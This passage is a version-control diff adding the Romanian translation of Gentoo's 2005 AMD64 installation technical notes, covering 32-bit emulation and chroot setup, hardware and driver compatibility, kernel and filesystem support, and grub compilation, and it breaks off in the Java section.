+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<part>
+<title>Note Tehnice pentru Gentoo/AMD64</title>
+<abstract>
+Oferă resurse vitale pentru utilizatorii Gentoo/AMD64.
+</abstract>
+
+
+<chapter>
+<title>Introducere</title>
+<abstract>
+O introducere la Notele Tehnice pentru Installarea Gentoo/AMD64
+</abstract>
+<include href="install-intro.xml"/>
+</chapter>
+
+<chapter>
+<title>Componente Hardware</title>
+<abstract>
+Informaţii despre problemele specifice pentru componentele hardware pe
+platforma Gentoo/AMD64
+</abstract>
+<include href="install-hardware.xml"/>
+</chapter>
+
+<chapter>
+<title>Aplicaţii</title>
+<abstract>
+Informaţii despre problemele legate de aplicaţii pe platforma Gentoo/AMD64
+</abstract>
+<include href="install-software.xml"/>
+</chapter>
+
+<chapter>
+<title>Compatibilitatea pentru 32 de biţi</title>
+<abstract>
+Informaţii despre utilizarea aplicaţiilor pe 32 de biţi în Gentoo/AMD64
+</abstract>
+<include href="install-32bit.xml"/>
+</chapter>
+
+<chapter>
+<title>Erată</title>
+<abstract>
+Aici, căutaţi ultimile informaţii ce nu au fost incluse în notele tehnice
+principale
+</abstract>
+<include href="install-errata.xml"/>
+</chapter>
+
+<chapter>
+<title>Resurse Adiţionale</title>
+<abstract>
+Ale resurse folositoare pentru a avea un sistem funcţional Gentoo/AMD64.
+</abstract>
+<include href="resources.xml"/>
+</chapter>
+</part>
+
+
+</book>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/install-32bit.xml b/xml/htdocs/proj/ro/base/amd64/technotes/install-32bit.xml
new file mode 100644
index 00000000..2aa934cd
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/install-32bit.xml
@@ -0,0 +1,149 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/install-32bit.xml,v 1.2 2005/05/16 16:15:56 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Rularea Programelor pe 32 de Biţi</title>
+<body>
+<impo>
+TREBUIE SĂ AVEŢI "IA32 Emulation" ACTIVATĂ ÎN SECŢIUNEA "Executable File
+Formats" DIN CONFIGURAŢIA DVS. DE KERNEL!
+</impo>
+<p>
+Multe modificări sunt în desfăşurare pentru moment, şi cel mai uşor mod de a
+seta un mediu pe 32 de biţi, este să instalaţi bibliotecile de emulare.
+</p>
+<pre>
+emerge app-emulation/emul-linux-x86-baselibs
+emerge app-emulation/emul-linux-x86-xlibs
+emerge app-emulation/emul-linux-x86-gtklibs
+emerge app-emulation/emul-linux-x86-qtlibs
+</pre>
+<p>
+Bibliotecile de emulare vor crea directorul /emul/linux/x86 şi vor instala
+majoritatea bibliotecilor corespondente de care veţi avea nevoie să rulaţi
+aplicaţii precompilate pe 32 de biţi. Va crea, de asemenea, link-uri simbolice
+ca /lib32 şi /usr/lib32 ce vor indica înpoi către directoarele /emul
+corespondente. Va crea, de asemenea, un link simbolic în /lib către
+ld-linux.so.2 din /emul/linux/x86/lib/ld-linux.so.2, deoarece varianta pe 64 de
+biţi este denumită ca ld-linux-x86-64.so.2.
+</p>
+<p>
+Având toate aceste 3 pachete instalate, ar trebui să vă permită să rulaţi
+aproape orice aplicaţii precompilate pe 32 de biţi. (spre ex. Java, Oracle 9i,
+Opera)
+</p>
+</body>
+</section>
+
+<section>
+<title>Compilarea Aplicaţiilor pe 32 de Biţi Dintr-un Mediu pe 64 de Biţi (utilizând multilib)</title>
+<body>
+<p>
+Mai întâi, trebuie să aveţi mediul standard pe 32 de biţi funcţional din
+secţiunea precedentă. Apoi, va trebui să adăugaţi <c>multilib</c> între
+indicatorii dvs. USE din <path>/etc/make.conf</path> şi să instalaţi sau să
+reinstalaţi <path>gcc-3.3.3-r5</path>. Aceasta va compila GCC cu suport
+multilib, ce vă va permite să creaţi binare pe 32 de biţi utilizând setarea
+CFLAGS <c>-m32</c>. Având multilib instalat, nu ar trebui să afecteze
+compilările pe 64 de biţi (deşi puteţi adăuga opţiunea <c>-m64</c> dacă doriţi
+să fiţi sigur dintr-un anumit motiv).
+</p>
+<note>
+Descurajăm puternic ca <e>niciodată</e> utilizatorii noştri să nu adauge
+<c>-m32</c> în <path>/etc/make.conf</path> sau să utilizeze <c>-m32</c> cu
+portage în orice formă posibilă, şi recomandăm ca procesele de compilare pe 32
+de biţi să se efectueze manual şi nu prin intermediul sistemului portage. A nu
+acorda atenţie acestui fapt, poate să vă afecteze serios structura de
+dependenţe. Nu ne întrebaţi cum să rezolvaţi această problemă, este vina dvs.
+</note>
+</body>
+</section>
+
+<section>
+<title>Crearea Unui Mediu chroot pe 32 de Biţi</title>
+<body>
+<p>
+Cu ajutorul bibliotecilor de emulare pe 32 de biţi, este posibil să rulaţi
+aproape orice aplicaţii pe 32 de biţi în interiorul unui mediu pe 64 de biţi.
+Aceasta poate îngreuna utilizarea aplicaţiilor ca Wine sau aplicaţia plugin
+Netscape Flash în Mozilla. O instalare chroot pe 32 de biţi vă permite să
+utilizaţi managerul de pachete dorit pentru a instala aplicaţii şi biblioteci
+pe 32 de biţi. Aceasta înseamnă, de asemenea, că vă puteţi optimiza pachetele
+în orice mod doriţi. Bibliotecile de emulare sunt compilate cu optimizări
+minore, deoarece sunt utilizate, de asemenea, pe platforma IA64. O parte
+negativă o reprezintă, totuşi, spaţiul pe disc. Toate bibliotecile şi
+aplicaţiile vor fi instalate de două ori.
+</p>
+<p>
+Pentru a seta un mediu chroot pe 32 de biţi, mai întâi creaţi directorul (sau
+partiţia) unde doriţi să efectuaţi chroot. Apoi, extrageţi fişierul stage
+pentru x86 în acel director (nu utilizaţi fişierul stage pentru AMD64) şi
+mount-aţi proc. Următorul pas este să intraţi în mediul chroot. Aceasta se
+poate face ca în manual, deşi va treui să utilizaţi programul linux32 pentru a
+modifica 'uname -m' în 'i686'. Rulaţi următoarea comandă în loc:
+</p>
+<pre>
+linux32 chroot /mnt/gentoo32 /bin/bash
+</pre>
+<p>
+Acum, vă aflaţi în interiorul mediului chroot, iar 'uname -m' ar trebui să
+afişeze 'i686'. În make.conf puteţi să utilizaţi indicatori ca următorii:
+</p>
+<pre>
+CHOST="i686-pc-linux-gnu"
+CFLAGS="-O2 -march=athlon-xp -msse2 -msse -pipe"
+ACCEPT_KEYWORDS="~x86"
+</pre>
+<p>
+Odată ce gcc-3.4 va fi publicat, veţi putea utiliza -march=k8 pentru a vă
+optimiza pentru amd64, dar nu este menţionat în changelog dacă este disponibilă
+şi pentru compilarea pe 32 de biţi.
+</p>
+<p>
+Continuaţi instalarea în concordanţă cu manualul. Puteţi omite cele mai multe
+părţi după stage3. Nu trebuie să setaţi o a doua aplicaţie de jurnalizare
+pentru sistem şi crontab. Dar, va trebui să setaţi utilizatorii, hosts şi
+resolv.conf. Mediul dvs. chroot pe 32 de biţi este acum gata de utilizare.
+Oricum, nu puteţi utiliza aplicaţii X foarte bine, în acest moment.
+</p>
+<p>
+Clienţii X utilizează componente socket unix pentru a comunica cu aplicaţia
+server X. Aceste componente socket sunt fişiere din /tmp, dar aplicaţia server
+X rulează în afara mediului chroot. Aceasta înseamnă ca aplicaţiile client X
+din interiorul mediului chroot nu pot accesa componentele socket unix. Există
+două modalităţi de a rezolva problema. Puteţi utiliza o componentă socket TCP,
+dar aceasta nu ar fi prea rapidă. Cea mai bună soluţie este să mount-aţi
+acelaşi /tmp în interiorul mediului chroot. Puteţi efectua această operaţie cu
+(din exteriorul mediului chroot):
+</p>
+<pre>
+mount -o bind /tmp /mnt/gentoo32/tmp
+</pre>
+<p>
+Bineînţeles, va trebui să rulaţi <c>xhost local:localhost</c> din exteriorul
+mediului chroot înainte de a vă conecta la aplicaţia server X din interiorul
+mediului chroot. Este, de asemenea, posibil să mount-aţi mai multe directoare
+în acest mod, pentru a salva spaţiu pe disc. Candidaţii sunt
+<path>/home</path>, <path>/usr/portage/distfiles</path> şi
+<path>/usr/share</path>.
+</p>
+<p>
+Pentru a intra în mediul chroot, utilizaţi următoarea comandă pentru seta
+variabilele de mediu corecte în interiorul mediului chroot:
+</p>
+<pre>
+linux32 chroot /mnt/32-bit /bin/bash --login
+</pre>
+</body>
+</section>
+ 
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/install-errata.xml b/xml/htdocs/proj/ro/base/amd64/technotes/install-errata.xml
new file mode 100644
index 00000000..deb7e612
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/install-errata.xml
@@ -0,0 +1,35 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/install-errata.xml,v 1.1 2005/05/14 15:36:12 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Erată Importantă pentru Instalarea Gentoo</title>
+<body>
+<ul>
+	<li>Modulele video ATI pentru 64 de biţi sunt disponibile prin instalarea <c>ati-drivers</c></li>
+	<li>reiser4 nu funcţionează pe amd64</li>
+	<li>kernel 2.4.x este oficial învechit în Gentoo/AMD64</li>
+	<li>gcc 3.3 este oficial învechi în 2004.3 doar pentru amd64</li>
+	<li><path>sys-kernel/gentoo-sources</path> sunt singurele surse suportate pe Gentoo/AMD64</li>
+	<li>Suportul firewire nu va funcţiona, dacă activaţi preemptivitatea de kernel în versiunile mai noi ale acestuia (>=2.6.4)</li>
+	<li>Mediul 32 biţi/64 biţi este posibil, cu unele limitări</li>
+	<li><b>NICIODATĂ</b> nu adăugaţi <c>x86</c> sau <c>~x86</c> pentru <c>ACCEPT_KEYWORDS</c></li>
+	<li><b>NICIODATĂ</b> nu utilizaţi <c>-Os</c> între opţiunile dvs. CFLAGS pe platforma AMD64</li>
+	<li>Adăugaţi opţiunea <c>idle=poll</c> pentru kernel la boot, dacă primiţi erori de tip kernel panic</li>
+	<li>Plăcile SCSI MPT Fusion necesită <c>iommu=merge</c> ca opţiune de kernel la boot</li>
+	<li>Trebuie să aveţi <c>IA32 Emulation</c> activată în <path>Executable File Formats</path> din configuraţia dvs. de kernel pentru ca emularea pe 32 de biţi (şi mediul chroot pe 32 de biţi) să funcţioneze</li>
+	<li>OpenOffice trebuie instalat din binare (<path>openoffice-bin</path>), o versiune pe 64 de biţi nefiind, momentan, disponbibilă</li>
+	<li>Mediul Livecd nu detectează automat plăcile de reţea 3Com 3c940, trebuie să executaţi manual <c>modprobe sk98lin</c></li>
+</ul>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/install-hardware.xml b/xml/htdocs/proj/ro/base/amd64/technotes/install-hardware.xml
new file mode 100644
index 00000000..87f1455b
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/install-hardware.xml
@@ -0,0 +1,261 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/install-hardware.xml,v 1.1 2005/05/14 15:36:12 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-27</date>
+
+<section>
+<title>Actualizări de BIOS</title>
+<body>
+<p>
+Mulţi dintre producătorii de plăci de bază includ de foarte multe ori
+componente firmware de BIOS problematice. Asiguraţi-vă că v-aţi actualizat
+componentele BIOS cu ultimile aplicaţii firmware disponibile, înainte de a vă
+instala Gentoo/AMD64. Actualizându-vă modulul BIOS puteţi rezolva probleme, cum
+ar fi cele relative la timpii pentru memorie şi să includeţi suport adiţional
+pentru AMD64 (cum ar fi Cool'n'Quiet).
+</p>
+</body>
+</section>
+
+<section>
+<title>Componentele Controller Raid SATA/PATA</title>
+<subsection>
+<title>Componente Controller, Stadiu şi Tipuri</title>
+<body>
+<p>
+Iată stadiul componentelor Controller Raid SATA/PATA comune:
+</p>
+<table>
+<tr>
+	<th>Producător</th>
+	<th>Model</th>
+	<th>Tip Raid</th>
+	<th>Stadiu</th>
+</tr>
+<tr>
+	<ti>VIA</ti>
+	<ti>8237</ti>
+	<ti>Software</ti>
+	<ti>ÎN LUCRU</ti>
+</tr>
+<tr>
+	<ti>Promise</ti>
+	<ti>PDC202xx/PDC203xx</ti>
+	<ti>Software</ti>
+	<ti>ÎN LUCRU</ti>
+</tr>
+<tr>
+	<ti>Silicon Image</ti>
+	<ti>3112[a],3512,3114</ti>
+	<ti>Software</ti>
+	<ti>ÎN LUCRU</ti>
+</tr>
+<tr>
+	<ti>Promise</ti>
+	<ti>SX4000 (PDC20621)</ti>
+	<ti>Hardware</ti>
+	<ti>ÎN LUCRU</ti>
+</tr>
+<tr>
+	<ti>3Ware</ti>
+	<ti>Escalade 7xxx and 8xxx</ti>
+	<ti>Hardware</ti>
+	<ti>ÎN LUCRU</ti>
+</tr>
+</table>
+</body>
+</subsection>
+
+<subsection>
+<title>Diferenţe Între RAID Hardware şi Software</title>
+<body>
+<p>
+O componentă controller raid hardware este întotdeauna o placă adiţională ce nu
+este distribuită niciodată cu placa de bază. Are un modul BIOS în care puteţi
+intra înainte de procesul de boot al sistemului de operare şi, în general,
+suportă minim 0,1,1+0 şi 5. Are un întreg procesor integrat pe placă, ce
+efectuează toate calculele raid şi operaţiile de intrare/ieşire şi se afişează
+sistemului de operare cum este configurat de componenta controller raid (spre
+ex., în cazul în care configuraţi un singur modul raid 5, de pe 3 dispozitive,
+va fi afişat de către sistemul de operare ca un disc întreg). Un modul RAID
+Hardware va fi întotdeauna mai rapid decât un modul raid software şi consumă
+MULT mai puţin timp de procesor. Un modul hardware RAID poate fi oferit,
+opţional, cu slot-uri de memorie DIMM pentru procesul de cache şi, posibil, o
+baterie de siguranţă pentru acel cache. Modulele raid hardware limitează, de
+asemenea, posibila complexitate a unui driver de sistem de operare, deoarece
+funcţionalitatea raid este efectuată exclusiv din hardware.
+</p>
+<p>
+O componentă controller raid software poate fi găsită pe plăcile adiţionale şi
+este distribuită pe multe plăci de bază. O componentă controller software poate
+sau nu avea un modul BIOS, dar funcţionalitatea efectivă este, de fapt,
+implementată din driver-ul din sistemul de operare. Din acest motiv, nu veţi
+găsi niciodată o componentă controller raid software care să suporte o matrice
+RAID5 boot-abilă. Sistemul de operare va putea recunoaşte fiecare dispozitiv în
+parte ca un disc standard şi nu este mascat/transformat de componenta
+controller în nici un fel. Pe versiunile 2.4 de kernel, exista un modul ce
+putea citi multe dintre modulele BIOS ale componentelor controller SATA, să
+seteze o matrice raid software aşa cum specifica acel modul bios şi să creeze
+un psudo-dispozitiv ce era accesibil la fel cum ar fi fost prezentat o matrice
+raid hardware. Acest modul 'ataraid' nu a fost portat în versiunea 2.6 iar
+versiunea 2.4 nu suportă componentele controller SATA, ci doar componentele
+software vechi PATA. Pe scurt, o componentă controller RAID Software nu este
+altceva decât o componentă standard SATA/PATA, posibil cu un bios pentru a
+stoca informaţia de configurare, iar aceasta modalitate este foarte ieftin de
+produs, ceea ce a determinat includerea lor pe multe plăci de bază.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Compatibilitatea Plăcii Riser cu Plăcile 3ware şi Plăcile de Bază Tyan</title>
+<body>
+<p>
+Pentru mai multe informaţii despre compatibilitatea plăcii riser pentru plăcile
+3ware şi plăcile de bază Tyan, vă rugăm să consultaţi <uri
+link="http://www.3ware.com/KB/article.aspx?id=10964">acest articol KB de la
+3ware</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Întrebări Generale despre Opteron/Athlon64</title>
+<subsection>
+<title>Care este diferenţa dintre Athlon64, Athlon64FX şi Opteron?</title>
+<body>
+<p>
+Athlon64 este un procesor desktop cu 754 pini, cu o magistrală de memorie pe un
+singur canal şi pot rula doar în modul unui singur procesor. Athlon64FX este un
+procesor pentru staţiile de lucru, cu 940 pini cu o magistrală de memorie cu
+canal dual. Opteron are 3 versiuni, seriile 1xx pentru sistemele cu un singur
+procesor, seriile 2xx pentru sistemele dual-procesor şi seriile 8xx pentru
+sistemele cu până la 8 canale (sau mai multe, cu ajutorul unei componente
+controller intermediar), aceste variaţii nu sunt diferite în viteză şi în
+general reflectă numai numărul de magistrare pentru transport în cip, ce sunt
+active. Toate cipurile au aceleaşi caracteristici de performanţă (în afară de
+capabilităţile magistralei de memorie şi mărimea memoriei cache, ce au efect
+asupra performanţei), iar un Athlon64FX este doar un Opteron din seriile 1xx
+refăcut. În viitor, soclul de 754 de pini va fi scos din producţie în favoarea
+procesoarelor cu 939 pini ce vor include liniile Athlon64 şi Athlon64FX. 
+</p>
+</body>
+</subsection>
+<subsection>
+<title>De ce Athlon64 3200+ şi Athlon64 3000+ au aceeaşi viteză de ceas pentru procesor?</title>
+<body>
+<p>
+Athlon64 3000+ are jumătate din memoria cache (512K) a procesoarelor Athlon64
+3200+ (1MB). Aceasta este luată în cosiderare în reducerea ratei de viteză
+(această diferenţă de performanţă în realitate contează mai puţin de 5%). 
+</p>
+</body>
+</subsection>
+<subsection>
+<title>Sunt suportate aplicaţiile pe 32 de biţi? Prin intermediul emulării sau nativ?</title>
+<body>
+<p>
+Da, aplicaţiile pe 32 de biţi sunt suportate în întregime de procesor şi sunt
+executate nativ. Un sistem de operare x86 standard poate fi instalat pe un
+procesor amd64 şi poate executa aplicaţii pe 32 de biţi dintr-un sistem de
+operare pe 64 de biţi, dacă este capabil să integreze apelurile de funcţii de
+sistem de 32 de biţi în interfeţele de 64 de biţi ale kernel-ului (aşa cum
+Linux este capabil de aces lucru, dacă îl activaţi din kernel). Vă rugăm să
+consultaţi secţiunea de mai jos despre suportul pentru 32 de biţi, pentru mai
+multe informaţii. De asemenea, notaţi faptul că nu există nici o scădere a
+performanţei la rularea aplicaţiilor pe 32 de biţi pe un procesor din clasa
+amd64 şi va fi întotdeauna mai rapid decât linia procesoarelor athlonxp ce
+rulează cod pe 32 de biţi (notaţi faptul că aceasta este diferit de
+procesoarele itanium ia64!)
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Componente Controller SCSI MPT Fusion</title>
+<body>
+<p>
+Pentru a face această componentă controller să funcţioneze, trebuie să adăugaţi
+următoarea opţiune pentru kernel la boot:
+</p>
+<pre>
+iommu=merge
+</pre>
+</body>
+</section>
+
+<section>
+<title>Suportul pentru Accelerarea Video 3D</title>
+<subsection>
+<title>Plăcile ATI Radeon</title>
+<body>
+<p>
+ATI a publicat, în sfârşit, module pe 64 de biţi pentru plăcile Radeon mai noi
+de 9200. Utilizaţi comanda <c>ACCEPT_KEYWORDS="~amd64" emerge ati-drivers</c>
+pentru a le instala. Dacă modulele proprietare nu funcţionează corect pentru
+dvs., echipa de dezvoltare vă recomandă utilizarea modulului open-source
+"radeon" înclus în xorg. Dar, modulul "radeon" include doar accelerare 2d.
+</p>
+</body>
+</subsection>
+<subsection>
+<title>nVidia GeForce</title>
+<body>
+<p>
+nVidia a publicat module AMD64. Acestea pot fi instalate pe AMD64 cu un efort
+minim, prin instalarea următoarelor pachete:
+</p>
+<pre>
+emerge nvidia-kernel
+emerge nvidia-glx
+emerge nvidia-settings
+</pre>
+<p>
+O documentaţie mai amănunţită a tot ce este implicat, încluzând setările de
+kernel necesare şi ce este necesar după instalarea pachetelor, poate fi găsită
+în <uri link="http://www.gentoo.org/doc/ro/nvidia-guide.xml">Ghidul nVidia
+pentru Gentoo Linux</uri>.
+</p>
+</body>
+</subsection>
+<subsection>
+<title>Plăcile Video Matrox</title>
+<body>
+<p>
+În timp ce multe dintre cele mai noi plăci video Matrox necesită modulul
+proprietar 'mga_hal' pentru a activa suportul dual sau capabilităţile de
+captură, utilizatorii au avut un succes rezonabil cu modulul standard 'mga' sub
+AMD64. În prezent, Matrox nu a publicat, încă, o versiune compilată pentru 64
+de biţi a modulului lor proprietar şi nu se ştie când se va întâmpla acest
+lucru. Funcţionalitatea pentru aceste plăci este, de aceea, variată, iar o
+funcţionalitate extinsă este posibil să nu fie posibilă deloc şi vă este foarte
+recomandată încercarea ambelor module pentru a observa care vă funcţionează mai
+bine în configuraţia dvs.
+</p>
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Modulele de Reţea bcm/tigon3</title>
+<body>
+<p>
+Multe plăci Opteron sunt oferite cu un cip de reţea integrat produs de
+Broadcom. Oferim, atât modulul standard integrat în kernel, tg3, cât şi modulul
+bcm5700 pentru suportul acestei plăci. Modulul tg3 ar trebui folosit, dacă este
+posibil, deoarece este suportat de comunitate, existenţa modulului bcm5700
+fiind doar pentru cei ce au probleme cu modulul tg3.
+</p>
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/install-intro.xml b/xml/htdocs/proj/ro/base/amd64/technotes/install-intro.xml
new file mode 100644
index 00000000..8057bee2
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/install-intro.xml
@@ -0,0 +1,28 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/install-intro.xml,v 1.1 2005/05/14 15:36:12 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Introducere</title>
+<subsection>
+<title>Despre Notele Tehnice de Instalare pentru Gentoo/AMD64</title>
+<body>
+<p>
+Notele Tehnice de Instalare pentru Gentoo/AMD64 au ca scop utilizarea în timpul
+instalării şi utilizării zilnice a portului AMD64 din Gentoo. Ar trebui să
+consultaţi aceste note tehnice în întregime înainte de a incerca instalarea
+Gentoo/AMD64.
+</p>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ro/base/amd64/technotes/install-software.xml b/xml/htdocs/proj/ro/base/amd64/technotes/install-software.xml
new file mode 100644
index 00000000..f98fa6a3
--- /dev/null
+++ b/xml/htdocs/proj/ro/base/amd64/technotes/install-software.xml
@@ -0,0 +1,356 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ro/base/amd64/technotes/install-software.xml,v 1.3 2005/06/05 10:23:56 alin Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Surse de Kernel Disponibile</title>
+<subsection>
+<title>Pe Mediul LiveCD</title>
+<body>
+<p>
+Începând cu 2004.3, există un kernel disponibil pe mediul LiveCD în care puteţi
+efectua boot. Acest kernel este denumit <c>gentoo</c> şi este un kernel SMP.
+Maşinile non-SMP pot utiliza acest kernel.
+</p>
+</body>
+</subsection>
+<subsection>
+<title>Utilizarea Surselor de Kernel Potrivite</title>
+<body>
+<impo>
+Utilizaţi sursele de kernel <path>sys-kernel/gentoo-sources</path>! Acestea
+au patch-uri specifice pentru AMD64 şi, în plus, îmbunătăţiri adiţionale. Nu vă
+vom putea oferi suport dacă utilizaţi alte surse.
+</impo>
+</body>
+</subsection>
+<subsection>
+<title>Compilarea unui Kernel pentru un Laptopn eMachine</title>
+<body>
+<p>
+Înainte de versiunea 2004.3, la configurarea kernel-ului pentru utilizarea pe
+un laptop eMachines Mobile Athlon64, <e>trebuie</e> să compilaţi suportul USB
+în kernel. Altfel, veţi primi erori cu mesaje "unknown keypress' de la
+<path>atkbd.c</path>. Dezactivarea suportului USB nu funcţionează.
+</p>
+<p>
+Rapoartele despre buna funcţionare a versiunii 2004.3 pe sistemele laptop
+eMachines ar trebui trimise prin intermediul bugs.gentoo.org.
+</p>
+</body>
+</subsection>
+<subsection>
+<title>Versiunea de Kernel 2.4.x este Declarată Oficial ca Învechită</title>
+<body>
+<p>
+<b>Versiunea de kernel 2.4.x este declarată oficial ca învechită pentru
+AMD64.</b> Încpând cu 2.4.23-pre7, devfs a fost dezactivat (din kernel),
+datorită unor motive de corupere ale memoriei. Noi, la Gentoo, nu am avut
+asemenea probleme, dar 2.4 nu este o soluţie bună pe Gentoo fără devfs.
+</p>
+</body>
+</subsection>
+<subsection>
+<title>gcc 3.3 Declarat Oficial ca Învechit</title>
+<body>
+<p>
+<b>gcc 3.3 este declarat oficial ca învechit pentru AMD64, începând cu
+2004.3.</b> Toate mediile 2004.3 publicate sunt bazate, acum, pe gcc 3.4.x.
+</p>
+</body>
+</subsection>
+</section>
+<section>
+<title>Erori Kernel Panic La Boot</title>
+<body>
+<p>
+Dacă vă apar erori kernel panic la boot, vă rugăm să adăugaţi <c>idle=poll</c>
+ca opţiune de boot. Există o problemă cu multe module BIOS prezente, şi se pare
+că afectează în special plăcile de bază cu cipuri VIA. Ar trebui să încercaţi
+să adăugaţi acea opţiune de boot, <e>după</e> actualizarea la ultima versiune
+de BIOS publicată de producătorul plăcii dvs. de bază. Este posibil să reuşiţi
+să rezolvaţi această problemă dezactivând suportul Legacy USB din BIOS. DAcă
+sunteţi forţat să utilizaţi opţiunea <c>idle=poll</c>, vă rugăm să contactaţi
+producătorul plăcii de bază şi al modulului BIOS pentru rezolvarea problemei
+din Erata de Procesoare #93.
+</p>
+<p>
+Pentru puţin mai multe informaţii despre acest subiect, consultaţi aceste
+arhive ale listelor de  discuţii:
+</p>
+<ul>
+<li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0031.html</uri></li>
+<li><uri>http://lists.suse.com/archive/suse-amd64/2003-Dec/0034.html</uri></li>
+</ul>
+<p>
+După cum puteţi observa, nu este o problemă specifică Gentoo!
+</p>
+</body>
+</section>
+
+<section>
+<title>Suportul pentru Sistemele de Fişiere</title>
+<body>
+<p>
+Vă recomandăm foarte mult să rămâneţi cu ext2/3, pentru moment. Am avut diverse
+rapoarte ale unor probleme cu reiserfs pe AMD64 şi am auzit despre unele
+probleme majore la rularea JFS pe sistemele pe 64 de biţi (ce chiar pare
+ciudat, luând în considerare faptul că au fost proiectate pentru sistemele pe
+64 de biţi, iniţial).
+</p>
+<table>
+<tr>
+<th>Sistem de Fişiere:</th>
+<th>Stadiu:</th>
+</tr>
+<tr>
+<ti>ext2</ti>
+<ti>STABIL</ti>
+</tr>
+<tr>
+<ti>ext3</ti>
+<ti>STABIL</ti>
+</tr>
+<tr>
+<ti>XFS</ti>
+<ti>STABIL, >=gentoo-dev-sources-2.6.3</ti>
+</tr>
+<tr>
+<ti>JFS</ti>
+<ti>STABIL, >=gentoo-dev-sources-2.6.7</ti>
+</tr>
+<tr>
+<ti>reiserfs</ti>
+<ti>STABIL, >=gentoo-dev-sources-2.6.5</ti>
+</tr>
+<tr>
+<ti>reiser4</ti>
+<ti>NU FUNCŢIONEAZĂ PE AMD64, NU ESTE SUPORTAT DE NICI O ARHITECTURĂ!</ti>
+</tr>
+</table>
+<p>
+Vă rugăm să raportaţi orice problemă despre orice sistem de fişiere la
+bugs.gentoo.org.
+</p>
+</body>
+</section>
+ 
+<section>
+<title>Aplicaţia Bootloader: Compilarea grub</title>
+<body>
+<p>
+Grub nu se va putea compila într-un mediu pur de 64 de biţi. Se va compila doar
+utilizând o versiune gcc multilib. 2004.3 include suport multilib implicit.
+Dacă alegeţi să dezactivaţi suportul multilib din gcc, atunci trebuie să
+utilizaţi <c>grub-static</c>. <c>grub-static</c> poate fi instalat utilizând
+următoarele comenzi:
+</p>
+<pre>
+emerge grub-static
+cp -Rpv /usr/share/grub/i386-pc/* /boot/grub
+</pre>
+</body>
+</section>
+ 
+<section>
+<title>Unele Pachete Sunt Încă Mascate</title>
+<body>
+<p>
+Unele pachete ce sunt nemascate pe alte arhitecturi sunt încă mascate pe AMD64.
+Aceasta nu înseamnă că acestea nu funcţionează. Înseamnă pur şi simplu, că nici
+un dezvoltator Gentoo pentru AMD64 nu a putut să le testeze pe o maşină AMD64.
+Vă rugăm să testaţi aplicaţiile mascate şi să <uri
+link="http://bugs.gentoo.org">raportaţi un bug</uri> pentru a înştiinţa
+dezvoltatorii dacă pachetul funcţionează sau nu.
+</p>
+</body>
+</section>
+
+<section>
+<title>Pachete Ce Nu Funcţionează</title>
+<body>
+<p>
+Cele care nu funcţionează:
+</p>
+<ul>
+<li>Firebird (baza de date, NU aplicaţia browser)</li>
+</ul>
+<p>
+Pachete ce nu funcţionează în modul de 64 de biţi, dar VOR funcţiona în modul
+de 32 de biţi (presupunând că app-emulation/emul-linux-x86-baselibs şi
+pachetele corespunzătoare sunt instalate):
+</p>
+<ul>
+<li>
+  Orice program ce utilizează biblioteci dll pe 32 de biţi din windows (cum ar
+  fi suportul mplayer/xine pentru unele formate proprietare)
+</li>
+<li>Orice programe ce necesită cod de asamblare pe 32 de biţi</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Suportul pentru Java</title>
+<body>
+<p>
+Blackdown a publicat o versiune de Java native pe 64 de biţi pentru Linux pe
